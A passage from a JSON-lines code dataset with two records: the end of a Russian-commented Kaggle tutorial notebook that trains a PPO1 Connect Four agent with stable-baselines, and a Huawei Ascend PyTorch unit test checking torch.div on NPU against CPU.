\u0437\u0430 \u043f\u043e\u0431\u0435\u0434\u0443 \u0432 \u0438\u0433\u0440\u0435 \u0434\u043e\u043b\u0436\u043d\u0430 \u0431\u044b\u0442\u044c \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439. \u0418 \u043d\u0430\u0433\u0440\u0430\u0434\u0430 \u0437\u0430 \u043e\u0447\u0438\u0441\u0442\u043a\u0443 \u043a\u0432\u0430\u0434\u0440\u0430\u0442\u0430\n# \u0431\u0435\u0437 \u0441\u043a\u0440\u044b\u0442\u043e\u0439 \u043c\u0438\u043d\u044b \u0434\u043e\u043b\u0436\u043d\u0430 \u0431\u044b\u0442\u044c \u043b\u0438\u0431\u043e \u043d\u0443\u043b\u0435\u0432\u043e\u0439, \u043b\u0438\u0431\u043e \u0441\u043b\u0435\u0433\u043a\u0430 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439.\n#\n# 3) (\u041d\u0435\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e) \u0418\u0437\u043c\u0435\u043d\u0438\u0442\u0435 \u043a\u043e\u0434\n# \u0412  \u044d\u0442\u043e\u0439 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u0447\u0430\u0441\u0442\u0438 \u0443\u043f\u0440\u0430\u0436\u043d\u0435\u043d\u0438\u044f \u0432\u044b \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u0435 \u043a\u043e\u0434 \u0438\u0437 \u0443\u0447\u0435\u0431\u043d\u0438\u043a\u0430, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435\u043c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445\n# \u0430\u0433\u0435\u043d\u0442\u043e\u0432!  \u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0433\u0438\u043f\u0435\u0440\u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u0435\u043c \u0430\u0433\u0435\u043d\u0442\u0430 \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u044f \u0441 \u043f\u043e\u0434\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u0435\u043c,\n# \u0438 \u0443 \u0432\u0430\u0441 \u0431\u0443\u0434\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0438\u0445, \u0447\u0442\u043e\u0431\u044b \u0443\u0432\u0438\u0434\u0435\u0442\u044c, \u043a\u0430\u043a \u044d\u0442\u043e \u043f\u043e\u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c.\n#\n# \u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445,  \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0443\u0431\u0435\u0434\u0438\u0442\u044c\u0441\u044f, \u0447\u0442\u043e \u0432\u0430\u0448 \u0431\u043b\u043e\u043a\u043d\u043e\u0442 Kaggle \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043a\u043e\u0434\u0430. \u041d\u0430\u0447\u043d\u0438\u0442\u0435 \u0441 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430 \u043c\u0435\u043d\u044e\n# \u00ab\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438\u00bb \u0441\u043f\u0440\u0430\u0432\u0430 \u043e\u0442 \u0437\u0430\u043f\u0438\u0441\u043d\u043e\u0439 \u043a\u043d\u0438\u0436\u043a\u0438. \u0412\u0430\u0448\u0435 \u043c\u0435\u043d\u044e \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:\n#\n# \u0415\u0441\u043b\u0438  \u0432\u0430\u0448 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u00ab\u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u00bb \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0441\u0441\u044b\u043b\u043a\u0430 \u00ab\u0422\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0443\u00bb, \u0449\u0435\u043b\u043a\u043d\u0438\u0442\u0435 \u043f\u043e \u044d\u0442\u043e\u0439\n# \u0441\u0441\u044b\u043b\u043a\u0435.  \u042d\u0442\u043e \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0435\u0442 \u0432\u0430\u0441 \u0432 \u043d\u043e\u0432\u043e\u0435 \u043e\u043a\u043d\u043e; \u0437\u0430\u0442\u0435\u043c \u0441\u043b\u0435\u0434\u0443\u0439\u0442\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f\u043c, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c \u0441\u0432\u043e\u044e \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c. \u041f\u043e\u0441\u043b\u0435\n# \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0433\u043e \u0448\u0430\u0433\u0430 \u0432 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u0445 \u00ab\u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u00bb \u0431\u0443\u0434\u0435\u0442 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0442\u044c\u0441\u044f \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u00ab\u0412\u044b\u043a\u043b.\u00bb, \u041a\u0430\u043a \u0432 \u043f\u0440\u0438\u043c\u0435\u0440\u0435 \u0441\u043f\u0440\u0430\u0432\u0430.\n#\n# \u041a\u043e\u0433\u0434\u0430  \u0432 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u0445 \u00ab\u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u00bb \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0435\u0442\u0441\u044f \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u00ab\u0412\u044b\u043a\u043b.\u00bb, \u041d\u0430\u0436\u043c\u0438\u0442\u0435, \u0447\u0442\u043e\u0431\u044b \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0435\u0433\u043e. \u0412\u044b \u0443\u0432\u0438\u0434\u0438\u0442\u0435 \u0432\u0441\u043f\u043b\u044b\u0432\u0430\u044e\u0449\u0435\u0435\n# \u043e\u043a\u043d\u043e,  \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0432\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0431\u0443\u0434\u0435\u0442 \u00ab\u041f\u0440\u0438\u043d\u044f\u0442\u044c\u00bb, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u0432\u0435\u0440\u0448\u0438\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0438 \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0443 \u043d\u0430 \u00ab\u0412\u043a\u043b.\u00bb. \u041a\u0430\u043a \u0442\u043e\u043b\u044c\u043a\u043e\n# \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u0431\u0443\u0434\u0435\u0442 \u0432\u043a\u043b\u044e\u0447\u0435\u043d, \u0432\u044b \u0433\u043e\u0442\u043e\u0432\u044b \u043a \u0440\u0430\u0431\u043e\u0442\u0435!\n#\n# \u041d\u0430\u0447\u043d\u0438\u0442\u0435 \u0441 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u044f\u0447\u0435\u0439\u043a\u0438 \u043a\u043e\u0434\u0430 \u043d\u0438\u0436\u0435.\n#\n#import os\nimport random\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n%matplotlib inline\n\n!pip install 'tensorflow==1.15.0'\n\nimport tensorflow as tf\nfrom kaggle_environments import make, evaluate\nfrom gym import spaces\n\n!apt-get update\n!apt-get install -y cmake libopenmpi-dev python3-dev zlib1g-dev\n!pip install \"stable-baselines[mpi]==2.9.0\"\n\nfrom stable_baselines.bench import Monitor\nfrom stable_baselines.common.vec_env import DummyVecEnv\nfrom stable_baselines import PPO1, A2C, ACER, ACKTR, TRPO\nfrom stable_baselines.a2c.utils import conv, linear, conv_to_fc\nfrom stable_baselines.common.policies import CnnPolicy\n\nclass ConnectFourGym:\n    def __init__(self, agent2=\"random\"):\n        ks_env = make(\"connectx\", debug=True)\n        self.env = ks_env.train([None, agent2])\n        self.rows = ks_env.configuration.rows\n        self.columns = ks_env.configuration.columns\n        # Learn about spaces here: http://gym.openai.com/docs/#spaces\n        self.action_space = spaces.Discrete(self.columns)\n        self.observation_space = spaces.Box(low=0, high=2,\n                                            shape=(self.rows,self.columns,1), dtype=np.int)\n        # Tuple corresponding to the min and max possible rewards\n        self.reward_range = (-10, 1)\n        # StableBaselines throws error if these are not defined\n        self.spec = None\n        self.metadata = None\n    def reset(self):\n        self.obs = self.env.reset()\n        return np.array(self.obs['board']).reshape(self.rows,self.columns,1)\n    def change_reward(self, old_reward, done):\n        if old_reward == 1: # The agent won the game\n            return 1\n        elif done: # The opponent won the game\n            return -1\n        else: # Reward 1/42\n            return 1/(self.rows*self.columns)\n    def step(self, action):\n        # Check if agent's move is valid\n        is_valid = (self.obs['board'][int(action)] == 0)\n        if is_valid: # Play the move\n            self.obs, old_reward, done, _ = self.env.step(int(action))\n            reward = self.change_reward(old_reward, done)\n        else: # End the game and penalize agent\n            reward, done, _ = -10, True, {}\n        return np.array(self.obs['board']).reshape(self.rows,self.columns,1), reward, done, _\n\n# Create ConnectFour environment\nenv = ConnectFourGym(agent2=\"random\")\n\n# Create directory for logging training information\nlog_dir = \"log/\"\nos.makedirs(log_dir, exist_ok=True)\n\n# Logging progress\nmonitor_env = Monitor(env, log_dir, allow_early_resets=True)\n\n# Create a vectorized environment\nvec_env = DummyVecEnv([lambda: monitor_env])\n\n# Neural network for predicting action values\ndef modified_cnn(scaled_images, **kwargs):\n    activ = tf.nn.relu\n    layer_1 = activ(conv(scaled_images, 'c1', n_filters=32, filter_size=3, stride=1,\n                         init_scale=np.sqrt(2), **kwargs))\n    layer_2 = activ(conv(layer_1, 'c2', n_filters=64, filter_size=3, stride=1,\n                         init_scale=np.sqrt(2), **kwargs))\n    layer_2 = conv_to_fc(layer_2)\n    return activ(linear(layer_2, 'fc1', n_hidden=512, init_scale=np.sqrt(2)))\n\nclass CustomCnnPolicy(CnnPolicy):\n    def __init__(self, *args, **kwargs):\n        super(CustomCnnPolicy, self).__init__(*args, **kwargs, cnn_extractor=modified_cnn)\n#\n\n# Initialize agent\nmodel = PPO1(CustomCnnPolicy, vec_env, verbose=0)\n\n# Train agent\nmodel.learn(total_timesteps=100000)\n\n# Plot cumulative reward\nwith open(os.path.join(log_dir, \"monitor.csv\"), 'rt') as fh:\n    firstline = fh.readline()\n    assert firstline[0] == '#'\n    df = pd.read_csv(fh, index_col=None)['r']\ndf.rolling(window=1000).mean().plot()\nplt.show()\n\n# \u0415\u0441\u043b\u0438 \u0432\u0430\u0448 \u0430\u0433\u0435\u043d\u0442 \u0445\u043e\u0440\u043e\u0448\u043e \u043e\u0431\u0443\u0447\u0435\u043d, \u0433\u0440\u0430\u0444\u0438\u043a (\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0441\u0440\u0435\u0434\u043d\u0438\u0435 \u0441\u043e\u0432\u043e\u043a\u0443\u043f\u043d\u044b\u0435 \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u044f) \u0441\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0435\u043c \u0434\u043e\u043b\u0436\u0435\u043d\n# \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u0432\u0430\u0442\u044c\u0441\u044f.\n#\n# \u0423\u0431\u0435\u0434\u0438\u0432\u0448\u0438\u0441\u044c, \u0447\u0442\u043e \u043a\u043e\u0434 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0439\u0442\u0435 \u0432\u043d\u0435\u0441\u0442\u0438 \u043f\u043e\u043f\u0440\u0430\u0432\u043a\u0438, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c, \u0441\u043c\u043e\u0436\u0435\u0442\u0435 \u043b\u0438 \u0432\u044b \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c\n# \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c. \u0412\u044b \u043c\u043e\u0436\u0435\u0442\u0435:\n#\n# \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u0435 PPO1 \u043d\u0430 A2C (\u0438\u043b\u0438 ACER, \u0438\u043b\u0438 ACKTR, \u0438\u043b\u0438 TRPO) \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0438 \u043c\u043e\u0434\u0435\u043b\u0438 \u0432 \u044d\u0442\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0435 \u043a\u043e\u0434\u0430: model = PPO1 (\n# CustomCnnPolicy,  vec_env, verbose = 0). \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0432\u0430\u043c \u0443\u0432\u0438\u0434\u0435\u0442\u044c, \u043a\u0430\u043a \u043d\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0432\u043b\u0438\u044f\u0442\u044c\n# \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u0430  \u0441 Proximal Policy Optimization [PPO] \u043d\u0430 \u043e\u0434\u0438\u043d \u0438\u0437:\n# \u041f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u043e \u0430\u043a\u0442\u0435\u0440-\u043a\u0440\u0438\u0442\u0438\u043a (A2C),\n# \u0438\u043b\u0438 \u0430\u043a\u0442\u0435\u0440-\u043a\u0440\u0438\u0442\u0438\u043a \u0441 \u043e\u043f\u044b\u0442\u043e\u043c \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u044f (ACER),\n# \u0410\u043a\u0442\u0435\u0440-\u043a\u0440\u0438\u0442\u0438\u043a, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0439 \u0437\u043e\u043d\u0443 \u0434\u043e\u0432\u0435\u0440\u0438\u044f \u0441 \u0443\u0447\u0435\u0442\u043e\u043c \u0444\u0430\u043a\u0442\u043e\u0440\u0430 \u041a\u0440\u043e\u043d\u0435\u043a\u0435\u0440\u0430 (ACKTR), \u0438\u043b\u0438\n# \u041e\u043f\u0442\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0435\u0433\u0438\u043e\u043d\u0430 (TRPO).\n# \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u0435 \u043c\u0435\u0442\u043e\u0434 c hange_reward () \u0432 \u043a\u043b\u0430\u0441\u0441\u0435 ConnectFourGym, \u0447\u0442\u043e\u0431\u044b \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0430\u0433\u0435\u043d\u0442 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0432\n# \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.  \u0412\u0430\u043c \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c self.reward_range \u0432 \u043c\u0435\u0442\u043e\u0434\u0435 __init__ (\u044d\u0442\u043e\u0442 \u043a\u043e\u0440\u0442\u0435\u0436 \u0432\u0441\u0435\u0433\u0434\u0430\n# \u0434\u043e\u043b\u0436\u0435\u043d \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0438 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u044e, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0430\u0433\u0435\u043d\u0442).\n# \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u0435 agent2 \u043d\u0430  \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u0430\u0433\u0435\u043d\u0442\u0430 \u043f\u0440\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0438 \u0441\u0440\u0435\u0434\u044b ConnectFour \u0441 env = ConnectFourGym (agent2 = \"random\").\n# \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435  \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0430\u0433\u0435\u043d\u0442 \u00abnegamax\u00bb \u0438\u043b\u0438 \u0434\u0440\u0443\u0433\u043e\u0439 \u043d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c\u044b\u0439 \u0430\u0433\u0435\u043d\u0442. \u0423\u0447\u0442\u0438\u0442\u0435, \u0447\u0442\u043e \u0447\u0435\u043c \u0443\u043c\u043d\u0435\u0435 \u0432\u044b \u0441\u0434\u0435\u043b\u0430\u0435\u0442\u0435\n# \u043e\u043f\u043f\u043e\u043d\u0435\u043d\u0442\u0430, \u0442\u0435\u043c \u0441\u043b\u043e\u0436\u043d\u0435\u0435 \u0431\u0443\u0434\u0435\u0442 \u043e\u0431\u0443\u0447\u0430\u0442\u044c \u0432\u0430\u0448\u0435\u0433\u043e \u0430\u0433\u0435\u043d\u0442\u0430!\n\n\n", "meta": {"hexsha": "142fd1a937627105f0ea1cf41f6f5053353d95ea", "size": 9475, "ext": "py", "lang": "Python", "max_stars_repo_path": "Game_AI_and_Reinforcement_Learning/04.Deep_Reinforcement_Learning.py", "max_stars_repo_name": "BEPb/Python-100-days", "max_stars_repo_head_hexsha": "163a68b42d1933d82599774a198eeef1624607bb", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 16, "max_stars_repo_stars_event_min_datetime": "2021-05-09T19:04:00.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-24T13:14:28.000Z", "max_issues_repo_path": "Game_AI_and_Reinforcement_Learning/04.Deep_Reinforcement_Learning.py", "max_issues_repo_name": "Jumanazarov-Shukrullo/Python-100-days", "max_issues_repo_head_hexsha": "8f846962cd45342aa2490ec2e86df358ae0ef281", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Game_AI_and_Reinforcement_Learning/04.Deep_Reinforcement_Learning.py", "max_forks_repo_name": "Jumanazarov-Shukrullo/Python-100-days", "max_forks_repo_head_hexsha": "8f846962cd45342aa2490ec2e86df358ae0ef281", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 3, "max_forks_repo_forks_event_min_datetime": "2022-03-01T01:56:43.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-20T19:19:49.000Z", "avg_line_length": 47.375, "max_line_length": 134, "alphanum_fraction": 0.7455408971, "include": true, "reason": "import numpy", "num_tokens": 3376, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4532618480153861, "lm_q2_score": 0.16885695423297595, "lm_q1q2_score": 0.07653641512588816}}
{"text": "# Copyright (c) 2020, Huawei Technologies.All rights reserved.\n#\n# Licensed under the BSD 3-Clause License  (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://opensource.org/licenses/BSD-3-Clause\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport torch\nimport numpy as np\nfrom common_utils import TestCase, run_tests\nimport unittest\nfrom util_test import create_common_tensor, test_2args_broadcast, create_dtype_tensor, UT_FAST_MODE\nfrom common_device_type import dtypes, instantiate_device_type_tests\n\nclass TestDiv(TestCase):\n    def get_outputs(self, cpu_args, npu_args, dtype):\n        # cpu not support fp16 div\n        cpu_args = [i.float() if dtype==torch.half else i for i in cpu_args]\n        cpu_output = torch.div(cpu_args[0], cpu_args[1]).to(dtype).numpy()\n        npu_output = torch.div(npu_args[0], npu_args[1]).to(\"cpu\").numpy()\n        return cpu_output, npu_output\n    \n    def get_outputs_chk(self, cpu_args, npu_args, dtype):\n        # cpu not support fp16 div\n        cpu_out = torch.randn(6).to(dtype)\n        npu_out = torch.randn(6).to(\"npu\").to(dtype)\n        cpu_args = [i.float() if dtype==torch.half else i for i in cpu_args]\n        torch.div(cpu_args[0], cpu_args[1], out = cpu_out)\n        torch.div(npu_args[0], npu_args[1], out = npu_out)\n        cpu_output = cpu_out.to(dtype).numpy()\n        npu_output = npu_out.to(\"cpu\").numpy()\n        return cpu_output, npu_output\n\n    def test_div_broadcast(self, device):\n        for item in test_2args_broadcast(torch.div):\n            self.assertRtolEqual(item[0], item[1])\n\n    # div not support bool\n    @dtypes(torch.float, torch.half, torch.int)\n    def test_div_dtype(self, device, dtype):\n        cpu_input1, npu_input1 = create_dtype_tensor((2,3,4,5), dtype)\n        # divisor can not be zero\n        cpu_input2, npu_input2 = create_dtype_tensor((2,3,4,5), dtype, no_zero=True)\n        cpu_output, npu_output = self.get_outputs([cpu_input1, cpu_input2], [npu_input1, npu_input2], dtype)\n\n        # div \u5728int\u7ed3\u679c\u4e3a\u8d1f\u6570\u65f6\u91c7\u7528\u622a\u65ad\u800c\u4e0d\u662f\u5411\u4e0b\u53d6\u6574\u7684\u65b9\u5f0f\u53d6\u6574\uff0c\u6240\u4ee5\u9009\u7528numpy\u6bd4\u8f83\n        if dtype == torch.int:\n            cpu_output = np.floor_divide(cpu_input1.numpy(), cpu_input2.numpy())\n\n        self.assertRtolEqual(cpu_output, npu_output)\n        \n    @unittest.skipIf(UT_FAST_MODE, \"Run UT in fast mode\")\n    def test_div_shape_format_fp16(self, device):\n        format_list = [0, 3, 29]\n        shape_list = [1, (64, 10), (32, 3, 3), (256, 2048, 7, 7)]\n        shape_format = [\n            [np.float16, i, j] for i in format_list for j in shape_list\n        ]\n        for item in shape_format:\n            cpu_input1, npu_input1 = create_common_tensor(item, 1, 100)\n            cpu_input2, npu_input2 = create_common_tensor(item, 1, 100)\n            cpu_input1 = cpu_input1.to(torch.float32)\n            cpu_input2 = cpu_input2.to(torch.float32)\n            cpu_output, npu_output = self.get_outputs([cpu_input1, cpu_input2], [npu_input1, npu_input2], torch.half)\n            self.assertRtolEqual(cpu_output, npu_output)\n\n    @unittest.skipIf(UT_FAST_MODE, \"Run UT in fast mode\")\n    def test_div_shape_format_fp32(self, device):\n        format_list = [0, 3, 29]\n        shape_list = [1, (64, 10), (32, 3, 3), (256, 2048, 7, 7), (2, 0, 2)]\n        shape_format = [\n            [np.float32, i, j] for i in format_list for j in shape_list\n        ]\n        for item in shape_format:\n            cpu_input1, npu_input1 = create_common_tensor(item, 1, 100)\n            cpu_input2, npu_input2 = create_common_tensor(item, 1, 100)\n            cpu_output, npu_output = self.get_outputs([cpu_input1, cpu_input2], [npu_input1, npu_input2], torch.float)\n            self.assertRtolEqual(cpu_output, npu_output)\n\n    def test_div_mix_dtype_1(self, device):\n        npu_input1, npu_input2 = create_common_tensor([np.int32, 0, (2, 3)], 1, 100)\n        npu_input3, npu_input4 = create_common_tensor([np.float32, 0, (2, 3)], 1, 100)\n        cpu_output, npu_output = self.get_outputs([npu_input1, npu_input3], [npu_input2, npu_input4], torch.float)\n        self.assertRtolEqual(cpu_output, npu_output)\n        \n    def test_div_mix_dtype_2(self, device):\n        npu_input1, npu_input2 = create_common_tensor([np.float32, 0, (2, 3)], 1, 100)\n        npu_input3 = torch.tensor(3).int()\n        cpu_output, npu_output = self.get_outputs([npu_input1, npu_input3], [npu_input2, npu_input3], torch.float)\n        self.assertRtolEqual(cpu_output, npu_output)\n    \n    def test_div_scalar_dtype(self, device):\n        cpu_input1, npu_input1 = create_common_tensor([np.int32, 0, (2, 3)], 1, 100)\n        cpu_output = cpu_input1 / 0.5\n        npu_output = npu_input1 / 0.5\n        self.assertRtolEqual(cpu_output, npu_output.cpu())\n        \n    @unittest.skipIf(UT_FAST_MODE, \"Run UT in fast mode\")\n    def test_div_shape_format_fp32(self, device):\n        format_list = [0, 3, 29]\n        shape_list = [1, (64, 10), (32, 3, 3), (256, 2048, 7, 7)]\n        shape_format = [\n            [np.float32, i, j] for i in format_list for j in shape_list\n        ]\n        for item in shape_format:\n            cpu_input1, npu_input1 = create_common_tensor(item, 1, 100)\n            cpu_input2, npu_input2 = create_common_tensor(item, 1, 100)\n            cpu_output, npu_output = self.get_outputs_chk([cpu_input1, cpu_input2], [npu_input1, npu_input2], torch.float)\n            self.assertRtolEqual(cpu_output, npu_output)\n\ninstantiate_device_type_tests(TestDiv, globals(), except_for=\"cpu\")\nif __name__ == \"__main__\":\n    run_tests()\n", "meta": {"hexsha": "0050359a335d0cccd282743d84a905e8cf975b26", "size": 5815, "ext": "py", "lang": "Python", "max_stars_repo_path": "test/test_npu/test_network_ops/test_div.py", "max_stars_repo_name": "Ascend/pytorch", "max_stars_repo_head_hexsha": "39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-12-02T03:07:35.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-02T03:07:35.000Z", "max_issues_repo_path": "test/test_npu/test_network_ops/test_div.py", "max_issues_repo_name": "Ascend/pytorch", "max_issues_repo_head_hexsha": "39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2021-11-12T07:23:03.000Z", "max_issues_repo_issues_event_max_datetime": "2021-11-12T08:28:13.000Z", "max_forks_repo_path": "test/test_npu/test_network_ops/test_div.py", "max_forks_repo_name": "Ascend/pytorch", "max_forks_repo_head_hexsha": "39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 48.0578512397, "max_line_length": 122, "alphanum_fraction": 0.6694754944, "include": true, "reason": "import numpy", "num_tokens": 1671, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.15405756851741473, "lm_q1q2_score": 0.07642700912478284}}
